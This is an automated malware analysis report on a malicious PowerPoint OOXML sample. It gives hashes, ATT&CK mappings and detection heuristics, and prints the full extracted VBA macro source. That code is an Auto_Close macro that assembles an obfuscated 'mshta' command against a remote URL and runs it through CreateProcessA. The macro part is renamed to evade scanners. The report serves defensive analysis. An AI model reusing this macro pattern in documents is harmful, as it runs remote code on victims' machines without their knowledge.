Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 381e10fa640e16fd…

MALICIOUS

Office (OOXML)

12.6 KB First seen: 2021-06-20
MD5: 4474a66f8bbb91e694d311051cef68b2 SHA-1: b3eebfd911e59ef94de4f846a7b3c98e9cd85648 SHA-256: 381e10fa640e16fd5a5492402a01c60781b8d31f2b0e025b845b3d5b8a7a166c
68 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an Auto_Close macro. This macro attempts to construct a URL by concatenating strings and reversing a portion, resulting in the URL "http://google.com". The script then appears to prepare to execute a command, likely to download and run a second-stage payload. The renaming of the VBA project part suggests an attempt to evade detection.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/fortein.bin)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "Module2"
Sub auto_close()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3191 bytes
SHA-256: 681e53707c5c1e56cf1cb382a4d81ff7679ccb00a16cc046936466c0c664afe1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module2"
Sub auto_close()


Dim obj As New Class1
Dim obj2 As New Class2

obj.getName

obj2.RestartCall obj.n_name


End Sub




Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public n_name As String

Public Function P_public() As String
P_public = "m"
End Function




Private Function ss(MyVar As Integer)
   Dim obj As Class2

  Dim b_public As String
   Select Case MyVar
      Case 1
         b_public = P_public + "shta " + StrReverse(".www//:ptth") + "google.com"
        
      Case 2
         b_public = "Get Value From Prime Numbers"
      Case 3
         b_public = "Get No Value as number"
      Case Else
         MsgBox "Unknown Number"
   End Select
   n_name = b_public
End Function




Public Function getName()
getName = ss(1)



End Function

Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type

Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal _
hHandle As Long, ByVal dwMilliseconds As Long) As Long

Private Declare Function CreateProcessA Lib "kernel32" (ByVal _
lpApplicationName As Long, ByVal lpCommandLine As String, ByVal _
lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _
lpStartupInfo As STARTUPINFO, lpProcessInformation As _
PROCESS_INFORMATION) As Long

Private Declare Function CloseHandle Lib "kernel32" (ByVal _
hObject As Long) As Long

Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&



Public Sub RestartCall(cmdline As String)
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
Dim ReturnValue As Integer

' Initialize the STARTUPINFO structure:
start.cb = Len(start)

' Start the shelled application:
ReturnValue = CreateProcessA(0&, cmdline$, 0&, 0&, 1&, _
NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)

' Wait for the shelled application to finish:
Do
ReturnValue = WaitForSingleObject(proc.hProcess, 0)
DoEvents
Loop Until ReturnValue <> 258

ReturnValue = CloseHandle(proc.hProcess)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/fortein.bin 26624 bytes
SHA-256: 0db048f813f5e133c3e5a0411f0019f4f5769d1fb3caade00b189595109c3b3b

Open this report in the interactive analyzer, or submit your own file for analysis.